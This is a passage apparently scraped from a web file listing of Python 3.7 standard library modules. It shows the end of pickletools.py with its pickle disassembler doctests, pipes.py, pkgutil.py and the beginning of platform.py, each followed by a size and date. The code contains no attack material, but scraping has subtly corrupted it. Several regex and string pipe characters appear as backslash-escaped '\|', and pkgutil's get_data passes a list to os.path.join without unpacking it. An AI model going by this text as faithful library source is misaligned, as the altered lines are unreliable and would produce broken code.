'value' 98: q BINPUT 7 100: K BININT1 42 102: s SETITEM 103: b BUILD 104: h BINGET 5 106: e APPENDS (MARK at 3) 107: . STOP highest protocol among opcodes = 1 Try "the canonical" recursive-object test. >>> L = [] >>> T = L, >>> L.append(T) >>> L[0] is T True >>> T[0] is L True >>> L[0][0] is L True >>> T[0][0] is T True >>> dis(pickle.dumps(L, 0)) 0: ( MARK 1: l LIST (MARK at 0) 2: p PUT 0 5: ( MARK 6: g GET 0 9: t TUPLE (MARK at 5) 10: p PUT 1 13: a APPEND 14: . STOP highest protocol among opcodes = 0 >>> dis(pickle.dumps(L, 1)) 0: ] EMPTY_LIST 1: q BINPUT 0 3: ( MARK 4: h BINGET 0 6: t TUPLE (MARK at 3) 7: q BINPUT 1 9: a APPEND 10: . STOP highest protocol among opcodes = 1 Note that, in the protocol 0 pickle of the recursive tuple, the disassembler has to emulate the stack in order to realize that the POP opcode at 16 gets rid of the MARK at 0. >>> dis(pickle.dumps(T, 0)) 0: ( MARK 1: ( MARK 2: l LIST (MARK at 1) 3: p PUT 0 6: ( MARK 7: g GET 0 10: t TUPLE (MARK at 6) 11: p PUT 1 14: a APPEND 15: 0 POP 16: 0 POP (MARK at 0) 17: g GET 1 20: . STOP highest protocol among opcodes = 0 >>> dis(pickle.dumps(T, 1)) 0: ( MARK 1: ] EMPTY_LIST 2: q BINPUT 0 4: ( MARK 5: h BINGET 0 7: t TUPLE (MARK at 4) 8: q BINPUT 1 10: a APPEND 11: 1 POP_MARK (MARK at 0) 12: h BINGET 1 14: . STOP highest protocol among opcodes = 1 Try protocol 2. >>> dis(pickle.dumps(L, 2)) 0: \x80 PROTO 2 2: ] EMPTY_LIST 3: q BINPUT 0 5: h BINGET 0 7: \x85 TUPLE1 8: q BINPUT 1 10: a APPEND 11: . STOP highest protocol among opcodes = 2 >>> dis(pickle.dumps(T, 2)) 0: \x80 PROTO 2 2: ] EMPTY_LIST 3: q BINPUT 0 5: h BINGET 0 7: \x85 TUPLE1 8: q BINPUT 1 10: a APPEND 11: 0 POP 12: h BINGET 1 14: . STOP highest protocol among opcodes = 2 Try protocol 3 with annotations: >>> dis(pickle.dumps(T, 3), annotate=1) 0: \x80 PROTO 3 Protocol version indicator. 2: ] EMPTY_LIST Push an empty list. 3: q BINPUT 0 Store the stack top into the memo. The stack is not popped. 5: h BINGET 0 Read an object from the memo and push it on the stack. 7: \x85 TUPLE1 Build a one-tuple out of the topmost item on the stack. 8: q BINPUT 1 Store the stack top into the memo. The stack is not popped. 10: a APPEND Append an object to a list. 11: 0 POP Discard the top stack item, shrinking the stack by one item. 12: h BINGET 1 Read an object from the memo and push it on the stack. 14: . STOP Stop the unpickling machine. highest protocol among opcodes = 2 """ _memo_test = r""" >>> import pickle >>> import io >>> f = io.BytesIO() >>> p = pickle.Pickler(f, 2) >>> x = [1, 2, 3] >>> p.dump(x) >>> p.dump(x) >>> f.seek(0) 0 >>> memo = {} >>> dis(f, memo=memo) 0: \x80 PROTO 2 2: ] EMPTY_LIST 3: q BINPUT 0 5: ( MARK 6: K BININT1 1 8: K BININT1 2 10: K BININT1 3 12: e APPENDS (MARK at 5) 13: . STOP highest protocol among opcodes = 2 >>> dis(f, memo=memo) 14: \x80 PROTO 2 16: h BINGET 0 18: . STOP highest protocol among opcodes = 2 """ __test__ = {'disassembler_test': _dis_test, 'disassembler_memo_test': _memo_test, } def _test(): import doctest return doctest.testmod() if __name__ == "__main__": import argparse parser = argparse.ArgumentParser( description='disassemble one or more pickle files') parser.add_argument( 'pickle_file', type=argparse.FileType('br'), nargs='*', help='the pickle file') parser.add_argument( '-o', '--output', default=sys.stdout, type=argparse.FileType('w'), help='the file where the output should be written') parser.add_argument( '-m', '--memo', action='store_true', help='preserve memo between disassemblies') parser.add_argument( '-l', '--indentlevel', default=4, type=int, help='the number of blanks by which to indent a new MARK level') parser.add_argument( '-a', '--annotate', action='store_true', help='annotate each line with a short opcode description') parser.add_argument( '-p', '--preamble', default="==> {name} <==", help='if more than one pickle file is specified, print this before' ' each disassembly') parser.add_argument( '-t', '--test', action='store_true', help='run self-test suite') parser.add_argument( '-v', action='store_true', help='run verbosely; only affects self-test run') args = parser.parse_args() if args.test: _test() else: annotate = 30 if args.annotate else 0 if not args.pickle_file: parser.print_help() elif len(args.pickle_file) == 1: dis(args.pickle_file[0], args.output, None, args.indentlevel, annotate) else: memo = {} if args.memo else None for f in args.pickle_file: preamble = args.preamble.format(name=f.name) args.output.write(preamble + '\n') dis(f, args.output, memo, args.indentlevel, annotate)	89.08 KB	2024-04-17 17:55
📄 pipes.py """Conversion pipeline templates. The problem: ------------ Suppose you have some data that you want to convert to another format, such as from GIF image format to PPM image format. Maybe the conversion involves several steps (e.g. piping it through compress or uuencode). Some of the conversion steps may require that their input is a disk file, others may be able to read standard input; similar for their output. The input to the entire conversion may also be read from a disk file or from an open file, and similar for its output. The module lets you construct a pipeline template by sticking one or more conversion steps together. It will take care of creating and removing temporary files if they are necessary to hold intermediate data. You can then use the template to do conversions from many different sources to many different destinations. The temporary file names used are different each time the template is used. The templates are objects so you can create templates for many different conversion steps and store them in a dictionary, for instance. Directions: ----------- To create a template: t = Template() To add a conversion step to a template: t.append(command, kind) where kind is a string of two characters: the first is '-' if the command reads its standard input or 'f' if it requires a file; the second likewise for the output. The command must be valid /bin/sh syntax. If input or output files are required, they are passed as $IN and $OUT; otherwise, it must be possible to use the command in a pipeline. To add a conversion step at the beginning: t.prepend(command, kind) To convert a file to another file using a template: sts = t.copy(infile, outfile) If infile or outfile are the empty string, standard input is read or standard output is written, respectively. The return value is the exit status of the conversion pipeline. To open a file for reading or writing through a conversion pipeline: fp = t.open(file, mode) where mode is 'r' to read the file, or 'w' to write it -- just like for the built-in function open() or for os.popen(). To create a new template object initialized to a given one: t2 = t.clone() """ # ' import re import os import tempfile # we import the quote function rather than the module for backward compat # (quote used to be an undocumented but used function in pipes) from shlex import quote __all__ = ["Template"] # Conversion step kinds FILEIN_FILEOUT = 'ff' # Must read & write real files STDIN_FILEOUT = '-f' # Must write a real file FILEIN_STDOUT = 'f-' # Must read a real file STDIN_STDOUT = '--' # Normal pipeline element SOURCE = '.-' # Must be first, writes stdout SINK = '-.' # Must be last, reads stdin stepkinds = [FILEIN_FILEOUT, STDIN_FILEOUT, FILEIN_STDOUT, STDIN_STDOUT, \ SOURCE, SINK] class Template: """Class representing a pipeline template.""" def __init__(self): """Template() returns a fresh pipeline template.""" self.debugging = 0 self.reset() def __repr__(self): """t.__repr__() implements repr(t).""" return '<Template instance, steps=%r>' % (self.steps,) def reset(self): """t.reset() restores a pipeline template to its initial state.""" self.steps = [] def clone(self): """t.clone() returns a new pipeline template with identical initial state as the current one.""" t = Template() t.steps = self.steps[:] t.debugging = self.debugging return t def debug(self, flag): """t.debug(flag) turns debugging on or off.""" self.debugging = flag def append(self, cmd, kind): """t.append(cmd, kind) adds a new step at the end.""" if type(cmd) is not type(''): raise TypeError('Template.append: cmd must be a string') if kind not in stepkinds: raise ValueError('Template.append: bad kind %r' % (kind,)) if kind == SOURCE: raise ValueError('Template.append: SOURCE can only be prepended') if self.steps and self.steps[-1][1] == SINK: raise ValueError('Template.append: already ends with SINK') if kind[0] == 'f' and not re.search(r'\$IN\b', cmd): raise ValueError('Template.append: missing $IN in cmd') if kind[1] == 'f' and not re.search(r'\$OUT\b', cmd): raise ValueError('Template.append: missing $OUT in cmd') self.steps.append((cmd, kind)) def prepend(self, cmd, kind): """t.prepend(cmd, kind) adds a new step at the front.""" if type(cmd) is not type(''): raise TypeError('Template.prepend: cmd must be a string') if kind not in stepkinds: raise ValueError('Template.prepend: bad kind %r' % (kind,)) if kind == SINK: raise ValueError('Template.prepend: SINK can only be appended') if self.steps and self.steps[0][1] == SOURCE: raise ValueError('Template.prepend: already begins with SOURCE') if kind[0] == 'f' and not re.search(r'\$IN\b', cmd): raise ValueError('Template.prepend: missing $IN in cmd') if kind[1] == 'f' and not re.search(r'\$OUT\b', cmd): raise ValueError('Template.prepend: missing $OUT in cmd') self.steps.insert(0, (cmd, kind)) def open(self, file, rw): """t.open(file, rw) returns a pipe or file object open for reading or writing; the file is the other end of the pipeline.""" if rw == 'r': return self.open_r(file) if rw == 'w': return self.open_w(file) raise ValueError('Template.open: rw must be \'r\' or \'w\', not %r' % (rw,)) def open_r(self, file): """t.open_r(file) and t.open_w(file) implement t.open(file, 'r') and t.open(file, 'w') respectively.""" if not self.steps: return open(file, 'r') if self.steps[-1][1] == SINK: raise ValueError('Template.open_r: pipeline ends width SINK') cmd = self.makepipeline(file, '') return os.popen(cmd, 'r') def open_w(self, file): if not self.steps: return open(file, 'w') if self.steps[0][1] == SOURCE: raise ValueError('Template.open_w: pipeline begins with SOURCE') cmd = self.makepipeline('', file) return os.popen(cmd, 'w') def copy(self, infile, outfile): return os.system(self.makepipeline(infile, outfile)) def makepipeline(self, infile, outfile): cmd = makepipeline(infile, self.steps, outfile) if self.debugging: print(cmd) cmd = 'set -x; ' + cmd return cmd def makepipeline(infile, steps, outfile): # Build a list with for each command: # [input filename or '', command string, kind, output filename or ''] list = [] for cmd, kind in steps: list.append(['', cmd, kind, '']) # # Make sure there is at least one step # if not list: list.append(['', 'cat', '--', '']) # # Take care of the input and output ends # [cmd, kind] = list[0][1:3] if kind[0] == 'f' and not infile: list.insert(0, ['', 'cat', '--', '']) list[0][0] = infile # [cmd, kind] = list[-1][1:3] if kind[1] == 'f' and not outfile: list.append(['', 'cat', '--', '']) list[-1][-1] = outfile # # Invent temporary files to connect stages that need files # garbage = [] for i in range(1, len(list)): lkind = list[i-1][2] rkind = list[i][2] if lkind[1] == 'f' or rkind[0] == 'f': (fd, temp) = tempfile.mkstemp() os.close(fd) garbage.append(temp) list[i-1][-1] = list[i][0] = temp # for item in list: [inf, cmd, kind, outf] = item if kind[1] == 'f': cmd = 'OUT=' + quote(outf) + '; ' + cmd if kind[0] == 'f': cmd = 'IN=' + quote(inf) + '; ' + cmd if kind[0] == '-' and inf: cmd = cmd + ' <' + quote(inf) if kind[1] == '-' and outf: cmd = cmd + ' >' + quote(outf) item[1] = cmd # cmdlist = list[0][1] for item in list[1:]: [cmd, kind] = item[1:3] if item[0] == '': if 'f' in kind: cmd = '{ ' + cmd + '; }' cmdlist = cmdlist + ' \|\n' + cmd else: cmdlist = cmdlist + '\n' + cmd # if garbage: rmcmd = 'rm -f' for file in garbage: rmcmd = rmcmd + ' ' + quote(file) trapcmd = 'trap ' + quote(rmcmd + '; exit') + ' 1 2 3 13 14 15' cmdlist = trapcmd + '\n' + cmdlist + '\n' + rmcmd # return cmdlist	8.71 KB	2024-04-17 17:55
📄 pkgutil.py """Utilities to support packages.""" from collections import namedtuple from functools import singledispatch as simplegeneric import importlib import importlib.util import importlib.machinery import os import os.path import sys from types import ModuleType import warnings __all__ = [ 'get_importer', 'iter_importers', 'get_loader', 'find_loader', 'walk_packages', 'iter_modules', 'get_data', 'ImpImporter', 'ImpLoader', 'read_code', 'extend_path', 'ModuleInfo', ] ModuleInfo = namedtuple('ModuleInfo', 'module_finder name ispkg') ModuleInfo.__doc__ = 'A namedtuple with minimal info about a module.' def _get_spec(finder, name): """Return the finder-specific module spec.""" # Works with legacy finders. try: find_spec = finder.find_spec except AttributeError: loader = finder.find_module(name) if loader is None: return None return importlib.util.spec_from_loader(name, loader) else: return find_spec(name) def read_code(stream): # This helper is needed in order for the PEP 302 emulation to # correctly handle compiled files import marshal magic = stream.read(4) if magic != importlib.util.MAGIC_NUMBER: return None stream.read(12) # Skip rest of the header return marshal.load(stream) def walk_packages(path=None, prefix='', onerror=None): """Yields ModuleInfo for all modules recursively on path, or, if path is None, all accessible modules. 'path' should be either None or a list of paths to look for modules in. 'prefix' is a string to output on the front of every module name on output. Note that this function must import all packages (NOT all modules!) on the given path, in order to access the __path__ attribute to find submodules. 'onerror' is a function which gets called with one argument (the name of the package which was being imported) if any exception occurs while trying to import a package. If no onerror function is supplied, ImportErrors are caught and ignored, while all other exceptions are propagated, terminating the search. Examples: # list all modules python can access walk_packages() # list all submodules of ctypes walk_packages(ctypes.__path__, ctypes.__name__+'.') """ def seen(p, m={}): if p in m: return True m[p] = True for info in iter_modules(path, prefix): yield info if info.ispkg: try: __import__(info.name) except ImportError: if onerror is not None: onerror(info.name) except Exception: if onerror is not None: onerror(info.name) else: raise else: path = getattr(sys.modules[info.name], '__path__', None) or [] # don't traverse path items we've seen before path = [p for p in path if not seen(p)] yield from walk_packages(path, info.name+'.', onerror) def iter_modules(path=None, prefix=''): """Yields ModuleInfo for all submodules on path, or, if path is None, all top-level modules on sys.path. 'path' should be either None or a list of paths to look for modules in. 'prefix' is a string to output on the front of every module name on output. """ if path is None: importers = iter_importers() elif isinstance(path, str): raise ValueError("path must be None or list of paths to look for " "modules in") else: importers = map(get_importer, path) yielded = {} for i in importers: for name, ispkg in iter_importer_modules(i, prefix): if name not in yielded: yielded[name] = 1 yield ModuleInfo(i, name, ispkg) @simplegeneric def iter_importer_modules(importer, prefix=''): if not hasattr(importer, 'iter_modules'): return [] return importer.iter_modules(prefix) # Implement a file walker for the normal importlib path hook def _iter_file_finder_modules(importer, prefix=''): if importer.path is None or not os.path.isdir(importer.path): return yielded = {} import inspect try: filenames = os.listdir(importer.path) except OSError: # ignore unreadable directories like import does filenames = [] filenames.sort() # handle packages before same-named modules for fn in filenames: modname = inspect.getmodulename(fn) if modname=='__init__' or modname in yielded: continue path = os.path.join(importer.path, fn) ispkg = False if not modname and os.path.isdir(path) and '.' not in fn: modname = fn try: dircontents = os.listdir(path) except OSError: # ignore unreadable directories like import does dircontents = [] for fn in dircontents: subname = inspect.getmodulename(fn) if subname=='__init__': ispkg = True break else: continue # not a package if modname and '.' not in modname: yielded[modname] = 1 yield prefix + modname, ispkg iter_importer_modules.register( importlib.machinery.FileFinder, _iter_file_finder_modules) def _import_imp(): global imp with warnings.catch_warnings(): warnings.simplefilter('ignore', DeprecationWarning) imp = importlib.import_module('imp') class ImpImporter: """PEP 302 Finder that wraps Python's "classic" import algorithm ImpImporter(dirname) produces a PEP 302 finder that searches that directory. ImpImporter(None) produces a PEP 302 finder that searches the current sys.path, plus any modules that are frozen or built-in. Note that ImpImporter does not currently support being used by placement on sys.meta_path. """ def __init__(self, path=None): global imp warnings.warn("This emulation is deprecated, use 'importlib' instead", DeprecationWarning) _import_imp() self.path = path def find_module(self, fullname, path=None): # Note: we ignore 'path' argument since it is only used via meta_path subname = fullname.split(".")[-1] if subname != fullname and self.path is None: return None if self.path is None: path = None else: path = [os.path.realpath(self.path)] try: file, filename, etc = imp.find_module(subname, path) except ImportError: return None return ImpLoader(fullname, file, filename, etc) def iter_modules(self, prefix=''): if self.path is None or not os.path.isdir(self.path): return yielded = {} import inspect try: filenames = os.listdir(self.path) except OSError: # ignore unreadable directories like import does filenames = [] filenames.sort() # handle packages before same-named modules for fn in filenames: modname = inspect.getmodulename(fn) if modname=='__init__' or modname in yielded: continue path = os.path.join(self.path, fn) ispkg = False if not modname and os.path.isdir(path) and '.' not in fn: modname = fn try: dircontents = os.listdir(path) except OSError: # ignore unreadable directories like import does dircontents = [] for fn in dircontents: subname = inspect.getmodulename(fn) if subname=='__init__': ispkg = True break else: continue # not a package if modname and '.' not in modname: yielded[modname] = 1 yield prefix + modname, ispkg class ImpLoader: """PEP 302 Loader that wraps Python's "classic" import algorithm """ code = source = None def __init__(self, fullname, file, filename, etc): warnings.warn("This emulation is deprecated, use 'importlib' instead", DeprecationWarning) _import_imp() self.file = file self.filename = filename self.fullname = fullname self.etc = etc def load_module(self, fullname): self._reopen() try: mod = imp.load_module(fullname, self.file, self.filename, self.etc) finally: if self.file: self.file.close() # Note: we don't set __loader__ because we want the module to look # normal; i.e. this is just a wrapper for standard import machinery return mod def get_data(self, pathname): with open(pathname, "rb") as file: return file.read() def _reopen(self): if self.file and self.file.closed: mod_type = self.etc[2] if mod_type==imp.PY_SOURCE: self.file = open(self.filename, 'r') elif mod_type in (imp.PY_COMPILED, imp.C_EXTENSION): self.file = open(self.filename, 'rb') def _fix_name(self, fullname): if fullname is None: fullname = self.fullname elif fullname != self.fullname: raise ImportError("Loader for module %s cannot handle " "module %s" % (self.fullname, fullname)) return fullname def is_package(self, fullname): fullname = self._fix_name(fullname) return self.etc[2]==imp.PKG_DIRECTORY def get_code(self, fullname=None): fullname = self._fix_name(fullname) if self.code is None: mod_type = self.etc[2] if mod_type==imp.PY_SOURCE: source = self.get_source(fullname) self.code = compile(source, self.filename, 'exec') elif mod_type==imp.PY_COMPILED: self._reopen() try: self.code = read_code(self.file) finally: self.file.close() elif mod_type==imp.PKG_DIRECTORY: self.code = self._get_delegate().get_code() return self.code def get_source(self, fullname=None): fullname = self._fix_name(fullname) if self.source is None: mod_type = self.etc[2] if mod_type==imp.PY_SOURCE: self._reopen() try: self.source = self.file.read() finally: self.file.close() elif mod_type==imp.PY_COMPILED: if os.path.exists(self.filename[:-1]): with open(self.filename[:-1], 'r') as f: self.source = f.read() elif mod_type==imp.PKG_DIRECTORY: self.source = self._get_delegate().get_source() return self.source def _get_delegate(self): finder = ImpImporter(self.filename) spec = _get_spec(finder, '__init__') return spec.loader def get_filename(self, fullname=None): fullname = self._fix_name(fullname) mod_type = self.etc[2] if mod_type==imp.PKG_DIRECTORY: return self._get_delegate().get_filename() elif mod_type in (imp.PY_SOURCE, imp.PY_COMPILED, imp.C_EXTENSION): return self.filename return None try: import zipimport from zipimport import zipimporter def iter_zipimport_modules(importer, prefix=''): dirlist = sorted(zipimport._zip_directory_cache[importer.archive]) _prefix = importer.prefix plen = len(_prefix) yielded = {} import inspect for fn in dirlist: if not fn.startswith(_prefix): continue fn = fn[plen:].split(os.sep) if len(fn)==2 and fn[1].startswith('__init__.py'): if fn[0] not in yielded: yielded[fn[0]] = 1 yield prefix + fn[0], True if len(fn)!=1: continue modname = inspect.getmodulename(fn[0]) if modname=='__init__': continue if modname and '.' not in modname and modname not in yielded: yielded[modname] = 1 yield prefix + modname, False iter_importer_modules.register(zipimporter, iter_zipimport_modules) except ImportError: pass def get_importer(path_item): """Retrieve a finder for the given path item The returned finder is cached in sys.path_importer_cache if it was newly created by a path hook. The cache (or part of it) can be cleared manually if a rescan of sys.path_hooks is necessary. """ try: importer = sys.path_importer_cache[path_item] except KeyError: for path_hook in sys.path_hooks: try: importer = path_hook(path_item) sys.path_importer_cache.setdefault(path_item, importer) break except ImportError: pass else: importer = None return importer def iter_importers(fullname=""): """Yield finders for the given module name If fullname contains a '.', the finders will be for the package containing fullname, otherwise they will be all registered top level finders (i.e. those on both sys.meta_path and sys.path_hooks). If the named module is in a package, that package is imported as a side effect of invoking this function. If no module name is specified, all top level finders are produced. """ if fullname.startswith('.'): msg = "Relative module name {!r} not supported".format(fullname) raise ImportError(msg) if '.' in fullname: # Get the containing package's __path__ pkg_name = fullname.rpartition(".")[0] pkg = importlib.import_module(pkg_name) path = getattr(pkg, '__path__', None) if path is None: return else: yield from sys.meta_path path = sys.path for item in path: yield get_importer(item) def get_loader(module_or_name): """Get a "loader" object for module_or_name Returns None if the module cannot be found or imported. If the named module is not already imported, its containing package (if any) is imported, in order to establish the package __path__. """ if module_or_name in sys.modules: module_or_name = sys.modules[module_or_name] if module_or_name is None: return None if isinstance(module_or_name, ModuleType): module = module_or_name loader = getattr(module, '__loader__', None) if loader is not None: return loader if getattr(module, '__spec__', None) is None: return None fullname = module.__name__ else: fullname = module_or_name return find_loader(fullname) def find_loader(fullname): """Find a "loader" object for fullname This is a backwards compatibility wrapper around importlib.util.find_spec that converts most failures to ImportError and only returns the loader rather than the full spec """ if fullname.startswith('.'): msg = "Relative module name {!r} not supported".format(fullname) raise ImportError(msg) try: spec = importlib.util.find_spec(fullname) except (ImportError, AttributeError, TypeError, ValueError) as ex: # This hack fixes an impedance mismatch between pkgutil and # importlib, where the latter raises other errors for cases where # pkgutil previously raised ImportError msg = "Error while finding loader for {!r} ({}: {})" raise ImportError(msg.format(fullname, type(ex), ex)) from ex return spec.loader if spec is not None else None def extend_path(path, name): """Extend a package's path. Intended use is to place the following code in a package's __init__.py: from pkgutil import extend_path __path__ = extend_path(__path__, __name__) This will add to the package's __path__ all subdirectories of directories on sys.path named after the package. This is useful if one wants to distribute different parts of a single logical package as multiple directories. It also looks for .pkg files beginning where matches the name argument. This feature is similar to .pth files (see site.py), except that it doesn't special-case lines starting with 'import'. A .pkg file is trusted at face value: apart from checking for duplicates, all entries found in a .pkg file are added to the path, regardless of whether they are exist the filesystem. (This is a feature.) If the input path is not a list (as is the case for frozen packages) it is returned unchanged. The input path is not modified; an extended copy is returned. Items are only appended to the copy at the end. It is assumed that sys.path is a sequence. Items of sys.path that are not (unicode or 8-bit) strings referring to existing directories are ignored. Unicode items of sys.path that cause errors when used as filenames may cause this function to raise an exception (in line with os.path.isdir() behavior). """ if not isinstance(path, list): # This could happen e.g. when this is called from inside a # frozen package. Return the path unchanged in that case. return path sname_pkg = name + ".pkg" path = path[:] # Start with a copy of the existing path parent_package, _, final_name = name.rpartition('.') if parent_package: try: search_path = sys.modules[parent_package].__path__ except (KeyError, AttributeError): # We can't do anything: find_loader() returns None when # passed a dotted name. return path else: search_path = sys.path for dir in search_path: if not isinstance(dir, str): continue finder = get_importer(dir) if finder is not None: portions = [] if hasattr(finder, 'find_spec'): spec = finder.find_spec(final_name) if spec is not None: portions = spec.submodule_search_locations or [] # Is this finder PEP 420 compliant? elif hasattr(finder, 'find_loader'): _, portions = finder.find_loader(final_name) for portion in portions: # XXX This may still add duplicate entries to path on # case-insensitive filesystems if portion not in path: path.append(portion) # XXX Is this the right thing for subpackages like zope.app? # It looks for a file named "zope.app.pkg" pkgfile = os.path.join(dir, sname_pkg) if os.path.isfile(pkgfile): try: f = open(pkgfile) except OSError as msg: sys.stderr.write("Can't open %s: %s\n" % (pkgfile, msg)) else: with f: for line in f: line = line.rstrip('\n') if not line or line.startswith('#'): continue path.append(line) # Don't check for existence! return path def get_data(package, resource): """Get a resource from a package. This is a wrapper round the PEP 302 loader get_data API. The package argument should be the name of a package, in standard module format (foo.bar). The resource argument should be in the form of a relative filename, using '/' as the path separator. The parent directory name '..' is not allowed, and nor is a rooted name (starting with a '/'). The function returns a binary string, which is the contents of the specified resource. For packages located in the filesystem, which have already been imported, this is the rough equivalent of d = os.path.dirname(sys.modules[package].__file__) data = open(os.path.join(d, resource), 'rb').read() If the package cannot be located or loaded, or it uses a PEP 302 loader which does not support get_data(), then None is returned. """ spec = importlib.util.find_spec(package) if spec is None: return None loader = spec.loader if loader is None or not hasattr(loader, 'get_data'): return None # XXX needs test mod = (sys.modules.get(package) or importlib._bootstrap._load(spec)) if mod is None or not hasattr(mod, '__file__'): return None # Modify the resource name to be compatible with the loader.get_data # signature - an os.path format "filename" starting with the dirname of # the package's __file__ parts = resource.split('/') parts.insert(0, os.path.dirname(mod.__file__)) resource_name = os.path.join(parts) return loader.get_data(resource_name)	20.96 KB	2024-04-17 17:55
📄 platform.py #! /opt/alt/python37/bin/python3.7 """ This module tries to retrieve as much platform-identifying data as possible. It makes this information available via function APIs. If called from the command line, it prints the platform information concatenated as single string to stdout. The output format is useable as part of a filename. """ # This module is maintained by Marc-Andre Lemburg <mal@egenix.com>. # If you find problems, please submit bug reports/patches via the # Python bug tracker (http://bugs.python.org) and assign them to "lemburg". # # Still needed: # * support for MS-DOS (PythonDX ?) # * support for Amiga and other still unsupported platforms running Python # * support for additional Linux distributions # # Many thanks to all those who helped adding platform-specific # checks (in no particular order): # # Charles G Waldman, David Arnold, Gordon McMillan, Ben Darnell, # Jeff Bauer, Cliff Crawford, Ivan Van Laningham, Josef # Betancourt, Randall Hopper, Karl Putland, John Farrell, Greg # Andruk, Just van Rossum, Thomas Heller, Mark R. Levinson, Mark # Hammond, Bill Tutt, Hans Nowak, Uwe Zessin (OpenVMS support), # Colin Kong, Trent Mick, Guido van Rossum, Anthony Baxter, Steve # Dower # # History: # # <see CVS and SVN checkin messages for history> # # 1.0.8 - changed Windows support to read version from kernel32.dll # 1.0.7 - added DEV_NULL # 1.0.6 - added linux_distribution() # 1.0.5 - fixed Java support to allow running the module on Jython # 1.0.4 - added IronPython support # 1.0.3 - added normalization of Windows system name # 1.0.2 - added more Windows support # 1.0.1 - reformatted to make doc.py happy # 1.0.0 - reformatted a bit and checked into Python CVS # 0.8.0 - added sys.version parser and various new access # APIs (python_version(), python_compiler(), etc.) # 0.7.2 - fixed architecture() to use sizeof(pointer) where available # 0.7.1 - added support for Caldera OpenLinux # 0.7.0 - some fixes for WinCE; untabified the source file # 0.6.2 - support for OpenVMS - requires version 1.5.2-V006 or higher and # vms_lib.getsyi() configured # 0.6.1 - added code to prevent 'uname -p' on platforms which are # known not to support it # 0.6.0 - fixed win32_ver() to hopefully work on Win95,98,NT and Win2k; # did some cleanup of the interfaces - some APIs have changed # 0.5.5 - fixed another type in the MacOS code... should have # used more coffee today ;-) # 0.5.4 - fixed a few typos in the MacOS code # 0.5.3 - added experimental MacOS support; added better popen() # workarounds in _syscmd_ver() -- still not 100% elegant # though # 0.5.2 - fixed uname() to return '' instead of 'unknown' in all # return values (the system uname command tends to return # 'unknown' instead of just leaving the field empty) # 0.5.1 - included code for slackware dist; added exception handlers # to cover up situations where platforms don't have os.popen # (e.g. Mac) or fail on socket.gethostname(); fixed libc # detection RE # 0.5.0 - changed the API names referring to system commands to syscmd; # added java_ver(); made syscmd_ver() a private # API (was system_ver() in previous versions) -- use uname() # instead; extended the win32_ver() to also return processor # type information # 0.4.0 - added win32_ver() and modified the platform() output for WinXX # 0.3.4 - fixed a bug in _follow_symlinks() # 0.3.3 - fixed popen() and "file" command invocation bugs # 0.3.2 - added architecture() API and support for it in platform() # 0.3.1 - fixed syscmd_ver() RE to support Windows NT # 0.3.0 - added system alias support # 0.2.3 - removed 'wince' again... oh well. # 0.2.2 - added 'wince' to syscmd_ver() supported platforms # 0.2.1 - added cache logic and changed the platform string format # 0.2.0 - changed the API to use functions instead of module globals # since some action take too long to be run on module import # 0.1.0 - first release # # You can always get the latest version of this module at: # # http://www.egenix.com/files/python/platform.py # # If that URL should fail, try contacting the author. __copyright__ = """ Copyright (c) 1999-2000, Marc-Andre Lemburg; mailto:mal@lemburg.com Copyright (c) 2000-2010, eGenix.com Software GmbH; mailto:info@egenix.com Permission to use, copy, modify, and distribute this software and its documentation for any purpose and without fee or royalty is hereby granted, provided that the above copyright notice appear in all copies and that both that copyright notice and this permission notice appear in supporting documentation or portions thereof, including modifications, that you make. EGENIX.COM SOFTWARE GMBH DISCLAIMS ALL WARRANTIES WITH REGARD TO THIS SOFTWARE, INCLUDING ALL IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS, IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY SPECIAL, INDIRECT OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE ! """ __version__ = '1.0.8' import collections import sys, os, re, subprocess import warnings ### Globals & Constants # Determine the platform's /dev/null device try: DEV_NULL = os.devnull except AttributeError: # os.devnull was added in Python 2.4, so emulate it for earlier # Python versions if sys.platform in ('dos', 'win32', 'win16'): # Use the old CP/M NUL as device name DEV_NULL = 'NUL' else: # Standard Unix uses /dev/null DEV_NULL = '/dev/null' # Directory to search for configuration information on Unix. # Constant used by test_platform to test linux_distribution(). _UNIXCONFDIR = '/etc' # Helper for comparing two version number strings. # Based on the description of the PHP's version_compare(): # http://php.net/manual/en/function.version-compare.php _ver_stages = { # any string not found in this dict, will get 0 assigned 'dev': 10, 'alpha': 20, 'a': 20, 'beta': 30, 'b': 30, 'c': 40, 'RC': 50, 'rc': 50, # number, will get 100 assigned 'pl': 200, 'p': 200, } _component_re = re.compile(r'([0-9]+\|[._+-])') def _comparable_version(version): result = [] for v in _component_re.split(version): if v not in '._+-': try: v = int(v, 10) t = 100 except ValueError: t = _ver_stages.get(v, 0) result.extend((t, v)) return result ### Platform specific APIs _libc_search = re.compile(b'(__libc_init)' b'\|' b'(GLIBC_([0-9.]+))' b'\|' br'(libc(_\w+)?\.so(?:\.(\d[0-9.]))?)', re.ASCII) def libc_ver(executable=sys.executable, lib='', version='', chunksize=16384): """ Tries to determine the libc version that the file executable (which defaults to the Python interpreter) is linked against. Returns a tuple of strings (lib,version) which default to the given parameters in case the lookup fails. Note that the function has intimate knowledge of how different libc versions add symbols to the executable and thus is probably only useable for executables compiled using gcc. The file is read and scanned in chunks of chunksize bytes. """ V = _comparable_version if hasattr(os.path, 'realpath'): # Python 2.2 introduced os.path.realpath(); it is used # here to work around problems with Cygwin not being # able to open symlinks for reading executable = os.path.realpath(executable) with open(executable, 'rb') as f: binary = f.read(chunksize) pos = 0 while pos < len(binary): if b'libc' in binary or b'GLIBC' in binary: m = _libc_search.search(binary, pos) else: m = None if not m or m.end() == len(binary): chunk = f.read(chunksize) if chunk: binary = binary[max(pos, len(binary) - 1000):] + chunk pos = 0 continue if not m: break libcinit, glibc, glibcversion, so, threads, soversion = [ s.decode('latin1') if s is not None else s for s in m.groups()] if libcinit and not lib: lib = 'libc' elif glibc: if lib != 'glibc': lib = 'glibc' version = glibcversion elif V(glibcversion) > V(version): version = glibcversion elif so: if lib != 'glibc': lib = 'libc' if soversion and (not version or V(soversion) > V(version)): version = soversion if threads and version[-len(threads):] != threads: version = version + threads pos = m.end() return lib, version def _dist_try_harder(distname, version, id): """ Tries some special tricks to get the distribution information in case the default method fails. Currently supports older SuSE Linux, Caldera OpenLinux and 